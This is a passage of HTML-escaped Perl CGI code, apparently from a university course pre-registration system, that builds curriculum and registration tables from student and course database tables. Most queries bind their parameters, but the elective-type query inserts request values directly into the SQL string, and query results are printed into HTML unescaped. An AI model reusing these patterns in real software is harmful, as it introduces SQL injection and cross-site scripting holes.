&nbsp; &nbsp; &nbsp; &nbsp; $kid=$row[0];<br />
}<br />
if(($kid eq 0) || ($kid ne $pkook))<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;BR&gt;&lt;h2&gt;Please Login.&lt;/h2&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;HR&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; exit;<br />
}<br />
<br />
my $sth = $dbh-&gt;prepare(&quot;select pregp from clockmst&quot;) or die &quot;Can not prepare SQL statement\n&quot;;<br />
$sth-&gt;execute or die &quot;Cant execute SQL: $DBI::errstr\n&quot;;<br />
while ( @row = $sth-&gt;fetchrow_array())<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mperiod = $row[0];<br />
}<br />
<br />
<br />
my @rollarr;<br />
$sth = $dbh-&gt;prepare(&quot;select rollno,semester,programme,brancode from stuacmst where faccode = ? and programme = ? and deptcode = ? and brancode = ? and semester = ? and studstat = ? order by programme,brancode,semester,rollno&quot;) or die &quot;Cant prepare: $DBI::errstr\n&quot;;<br />
$sth-&gt;execute($pfaccode,$pprogramme,$pdeptcode,$pbrancode,$psemester,'C') or die &quot;Cant execute: $DBI::errstr\n&quot;;<br />
while ( @row = $sth-&gt;fetchrow_array())<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mrollno = $row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; $lc = substr($mrollno,7,1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($lc eq ' ')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mrollno = substr($mrollno,0,7);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; push(@rollarr,$mrollno);<br />
}<br />
<br />
my @backarr;<br />
if ($pprogramme eq 'B' or $pprogramme eq 'L')<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select distinct a.rollno from ucsrgdet a, corsemst b where a.rollno in (select rollno from stuacmst where faccode = ? and programme = ? and deptcode = ? and brancode = ? and semester = ?) and a.crseid = b.crseid and (a.grade=\'U\' or a.grade=\'W\') and not exists ( select c.crseid from ucsrgdet c,corsemst d where c.rollno = a.rollno and d.crseno = b.crseno and c.crseid = d.crseid and c.grade&lt;&gt;\'U\' and c.grade&lt;&gt;\'W\') order by a.rollno&quot;) or die &quot;Cant prepare: $DBI::errstr\n&quot;;<br />
}<br />
else<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select distinct a.rollno from pcsrgdet a, corsemst b where a.rollno in (select rollno from stuacmst where faccode = ? and programme = ? and deptcode = ? and brancode = ? and semester = ?) and a.crseid = b.crseid and (a.grade=\'U\' or a.grade=\'W\') and not exists ( select c.crseid from pcsrgdet c,corsemst d where c.rollno = a.rollno and d.crseno = b.crseno and c.crseid = d.crseid and c.grade&lt;&gt;\'U\' and c.grade&lt;&gt;\'W\') order by a.rollno&quot;) or die &quot;Cant prepare: $DBI::errstr\n&quot;;<br />
}<br />
$sth-&gt;execute($pfaccode,$pprogramme,$pdeptcode,$pbrancode,$psemester) or die &quot;Cant execute: $DBI::errstr\n&quot;;<br />
while ( @row = $sth-&gt;fetchrow_array())<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mrollno = $row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; $lc = substr($mrollno,7,1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($lc eq ' ')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mrollno = substr($mrollno,0,7);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; push(@backarr,$mrollno);<br />
}<br />
<br />
if ($pprogramme eq 'B' or $pprogramme eq 'L')<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select a.rollno from stuacmst a where a.faccode = ? and a.programme = ? and a.deptcode = ? and a.brancode = ? and a.semester = ? and exists(select b.crseno from corcsmst b where b.deptcode = a.deptcode and b.brancode = a.brancode and b.programme = a.programme and b.semester &lt;= a.semester and b.crseno not in (select distinct e.crseno from ucsrgdet d, corsemst e where d.rollno = a.rollno and d.crseid = e.crseid union select distinct g.crseno from crnrgdet f, corsemst g where f.rollno = a.rollno and f.crseid = g.crseid))&quot;) or die &quot;Cant prepare: $DBI::errstr\n&quot;; <br />
}<br />
else<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select a.rollno from stuacmst a where a.faccode = ? and a.programme = ? and a.deptcode = ? and a.brancode = ? and a.semester = ? and exists(select b.crseno from corcsmst b where b.deptcode = a.deptcode and b.brancode = a.brancode and b.programme = a.programme and b.semester &lt;= a.semester and b.crseno not in (select distinct e.crseno from pcsrgdet d, corsemst e where d.rollno = a.rollno and d.crseid = e.crseid union select distinct g.crseno from crnrgdet f, corsemst g where f.rollno = a.rollno and f.crseid = g.crseid))&quot;) or die &quot;Cant prepare: $DBI::errstr\n&quot;; <br />
}<br />
$sth-&gt;execute($pfaccode,$pprogramme,$pdeptcode,$pbrancode,$psemester) or die &quot;Cant execute: $DBI::errstr\n&quot;;<br />
while ( @row = $sth-&gt;fetchrow_array())<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mrollno = $row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; $lc = substr($mrollno,7,1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($lc eq ' ')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mrollno = substr($mrollno,0,7);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; push(@backarr,$mrollno);<br />
}<br />
<br />
$msem = $psemester;<br />
$msem = $msem + 1;<br />
if ($msem &lt; 10)<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $msemester = &quot;0&quot;.&quot;$msem&quot;;<br />
}<br />
else<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $msemester = &quot;$msem&quot;;<br />
}<br />
<br />
my @tcslotarr;<br />
my @tccrsearr;<br />
my @pcslotarr;<br />
my @pccrsearr;<br />
my @pccatgarr;<br />
<br />
$sth = $dbh-&gt;prepare(&quot;select crseno,category from corcsmst where deptcode = ? and brancode = ? and programme = ? and semester = ? order by crseno&quot;) or die &quot;can not prepare SQL\n&quot;;<br />
$sth-&gt;execute($pdeptcode,$pbrancode,$pprogramme,$msemester) or die &quot;Can not execte SQL&quot;;<br />
<br />
while ( @row = $sth-&gt;fetchrow_array())<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; push(@tccrsearr,$row[0]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; push(@tccatgarr,$row[1]);<br />
}<br />
<br />
$mtcount = @tccrsearr - 1;<br />
<br />
for $i(0..$mtcount)<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mcrseno = $tccrsearr[$i];<br />
&nbsp; &nbsp; &nbsp; &nbsp; $lc = substr($mcrseno,5,1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($lc eq ' ')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcrseno = substr($mcrseno,0,5);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select distinct slot from crncsdet where period = ? and crseid in (select crseid from corsemst where crseno = ?) order by slot&quot;) or die &quot;can not prepare SQL\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mperiod,$mcrseno) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mslot = ' ';<br />
&nbsp; &nbsp; &nbsp; &nbsp; while ( @row = $sth-&gt;fetchrow_array())<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($mslot eq ' ')<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mslot = $row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mslot = $mslot.&quot;/&quot;.$row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mcatg = $tccatgarr[$i];<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; push(@pcslotarr,$mslot);<br />
&nbsp; &nbsp; &nbsp; &nbsp; push(@pccrsearr,$mcrseno);<br />
&nbsp; &nbsp; &nbsp; &nbsp; push(@pccatgarr,$mcatg);<br />
}<br />
<br />
my @petypearr;<br />
$sth = $dbh-&gt;prepare(&quot;select a.etype from eletpdet a where a.deptcode = \'$pdeptcode\' and a.brancode = \'$pbrancode\' and a.programme = \'$pprogramme\' and a.semester = \'$msemester\' order by a.etype&quot;) or die &quot;can not prepare SQL\n&quot;;<br />
$sth-&gt;execute or die &quot;Can not execte SQL&quot;;<br />
while ( @row = $sth-&gt;fetchrow_array())<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; push(@petypearr,$row[0]);<br />
}<br />
<br />
$mccount = @pccrsearr - 1;<br />
$mecount = @petypearr - 1;<br />
<br />
$mc = $mccount + 1;<br />
$me = $mecount + 1;<br />
<br />
$mprogramme = $pprogramme;<br />
if ($mprogramme eq 'B')<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sprog = &quot;BTech&quot;;<br />
}<br />
elsif ($mprogramme eq 'L')<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sprog = &quot;Dual Degree&quot;;<br />
}<br />
elsif ($mprogramme eq 'M')<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sprog = &quot;MTech&quot;;<br />
}<br />
elsif ($mprogramme eq 'C')<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sprog = &quot;MSc&quot;;<br />
}<br />
elsif ($mprogramme eq 'A')<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sprog = &quot;MBA&quot;;<br />
}<br />
elsif ($mprogramme eq 'I')<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sprog = &quot;Int. PhD&quot;;<br />
}<br />
<br />
print &quot;&lt;h2&gt;&lt;center&gt;Pre-Registration for $mperiod&lt;/center&gt;&lt;/h2&gt;\n&quot;;<br />
#$sth = $dbh-&gt;prepare(&quot;select branname from brnchmst where brancode = ?&quot;) or die &quot;Can not prepare SQL statement\n&quot;;<br />
$sth = $dbh-&gt;prepare(&quot;select branname from brnchmst where brancode = ? and programme&lt;&gt;'F'&quot;) or die &quot;Can not prepare SQL statement\n&quot;;<br />
<br />
$sth-&gt;execute($pbrancode) or die &quot;Can not execte SQL&quot;;<br />
$mbranname = '';<br />
while ( @row = $sth-&gt;fetchrow_array())<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mbranname = $row[0];<br />
}<br />
print &quot;&lt;center&gt;&lt;b&gt;$sprog-$mbranname-$msemester Semester&lt;/center&gt;&quot;;<br />
print &quot;&lt;hr&gt;&quot;;<br />
<br />
print &quot;&lt;h3&gt;Curriculum&lt;/h3&gt;&quot;;<br />
print &quot;&lt;table border=1&gt;&quot;;<br />
print &quot;&lt;tr&gt;&lt;th&gt;Slot&lt;th&gt;Crseno&lt;th&gt;Title&lt;th&gt;Credit&lt;th&gt;Cat&lt;th&gt;Pre. Req&lt;/tr&gt;&quot;;<br />
for $i(0..$mccount)<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mslot = $pcslotarr[$i];<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mcrseno = $pccrsearr[$i];<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select a.crsename,a.credit,a.crseid,b.category from corsemst a, corcsmst b where a.crseno = ? and a.wdrawdate = ? and a.crseno = b.crseno and b.brancode = ? and b.semester = ?&quot;) or die &quot;Can not prepare SQL statement\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mcrseno,'1900/01/01',$pbrancode,$msemester) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mcrsename = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mcredit = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mcatg='';<br />
&nbsp; &nbsp; &nbsp; &nbsp; while ( @row = $sth-&gt;fetchrow_array())<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcrsename = $row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcredit = $row[1];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcrseid = $row[2];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcatg = $row[3];<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select rcot from crncsdet where crseid = ? and period = ?&quot;) or die &quot;Can not prepare SQL statement\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mcrseid,$mperiod) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mrcot = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; while ( @row = $sth-&gt;fetchrow_array())<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mrcot = $row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mpre='-';<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($mrcot eq 'Y')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mpre = 'COT';<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;tr&gt;&lt;td&gt;$mslot&lt;/td&gt;&lt;td&gt;$mcrseno&lt;/td&gt;&lt;td&gt;$mcrsename&lt;/td&gt;&lt;td&gt;$mcredit&lt;/td&gt;&lt;td&gt;$mcatg&lt;/td&gt;&lt;td&gt;$mpre&lt;/td&gt;&lt;/tr&gt;&quot;;<br />
}<br />
<br />
for $i(0..$mecount)<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $metype = $petypearr[$i];<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select a.ename,b.credit,a.category from eletpmst a, eletpdet b where a.etype = ? and a.etype = b.etype and b.brancode = ? and b.semester = ?&quot;) or die &quot;Can not prepare SQL statement\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($metype,$pbrancode,$msemester) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mename = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mcredit = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mcatg = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; while ( @row = $sth-&gt;fetchrow_array())<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mename = $row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcredit = $row[1];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcatg = $row[2];<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mslot = '-';<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mpre = '-';<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;tr&gt;&lt;td&gt;$mslot&lt;/td&gt;&lt;td&gt;$metype&lt;/td&gt;&lt;td&gt;$mename&lt;/td&gt;&lt;td&gt;$mcredit&lt;/td&gt;&lt;td&gt;$mcatg&lt;/td&gt;&lt;td&gt;$mpre&lt;/td&gt;&lt;/tr&gt;&quot;;<br />
}<br />
print &quot;&lt;/table&gt;&quot;;<br />
<br />
print &quot;&lt;h3&gt;Registration form&lt;/h3&gt;&quot;;<br />
print &quot;&lt;table border=1&gt;\n&quot;;<br />
print &quot;&lt;tr&gt;&lt;th rowspan=2&gt;SlNo&lt;th rowspan=2&gt;Rollno&lt;th colspan=$mc&gt;Core&lt;th colspan=$me&gt;Electives&lt;th rowspan=2&gt;Backlogs&lt;th rowspan=2&gt;Others&lt;th rowspan=2&gt;Form&lt;th rowspan=2&gt;Approval&lt;/tr&gt;\n&quot;;<br />
print &quot;&lt;tr&gt;&quot;;<br />
if($mccount &gt; -1)<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; for $i(0..$mccount)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($pcslotarr[$i] eq ' ')<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;th&gt;-&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;th&gt;$pcslotarr[$i]&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}<br />
else<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;th&gt;-&quot;;<br />
}<br />
for $i(0..$mecount)<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;th&gt;$petypearr[$i]&quot;;<br />
}<br />
print &quot;&lt;/tr&gt;&quot;;<br />
$mscount = @rollarr - 1;<br />
for $i(0..$mscount)<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mrollno = $rollarr[$i];<br />
<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select crseno from prergtmp where rollno = ? and period = ?&quot;) or die &quot;can not prepare SQL\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mrollno,$mperiod) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mp = 'N';<br />
&nbsp; &nbsp; &nbsp; &nbsp; while ( @row = $sth-&gt;fetchrow_array())<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mp = 'Y';<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($mp eq 'N')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;insert into prergtmp(rollno,crseno,category,ctype,semester,period,slot) values (?,?,?,?,?,?,?)&quot;) or die &quot;can not prepare SQL\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for $k(0..$mccount)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcrse = $pccrsearr[$k];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcatg = $pccatgarr[$k];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mslot = $pcslotarr[$k];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mrollno,$mcrse,$mcatg,'CORE',$msemester,$mperiod,$mslot) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for $k(0..$mecount)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $metype = $petypearr[$k];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select b.crseno,a.category from crnrgdet a, corsemst b where a.rollno = ? and a.period = ? and a.ctype = ? and a.crseid = b.crseid&quot;) or die &quot;can not prepare SQL\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mrollno,$mperiod,$metype) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mep = 'N';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while ( @row = $sth-&gt;fetchrow_array())<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcrse = $row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcatg = $row[1];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mep = 'Y';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($mep eq 'Y')<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;insert into prergtmp(rollno,crseno,category,ctype,semester,period) values (?,?,?,?,?,?)&quot;) or die &quot;can not prepare SQL\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mrollno,$mcrse,$mcatg,$metype,$msemester,$mperiod) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $menrolled = 'N';<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select enrolled from stuacmst where rollno = ?&quot;) or die &quot;Cant prepare: $DBI::errstr\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mrollno) or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; while ( @row = $sth-&gt;fetchrow_array())<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $menrolled = $row[0];<br />
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($menrolled eq 'Y')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;tr bgcolor=#00FFcc&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;tr&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; $j = $i + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;$j&lt;/td&gt;\n&quot;;<br />
&nbsp; &nbsp; &nbsp; #print &quot;&lt;td&gt;$j&lt;/td&gt;\n&quot;;<br />
&nbsp; &nbsp; &nbsp; print &quot;&lt;td&gt;$mrollno&lt;/td&gt;\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if($mccount &gt; -1)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for $k(0..$mccount)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcrse = $pccrsearr[$k];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $mcp = 'N';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sth = $dbh-&gt;prepare(&quot;select crseno from prergtmp where rollno = ? and crseno = ? and period = ? and ctype = ?&quot;) or die &quot;can not prepare SQL\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sth-&gt;execute($mrollno,$mcrse,$mperiod,'CORE') or die &quot;Can not execte SQL&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while ( @row = $sth-&gt;fetchrow_array())<br />
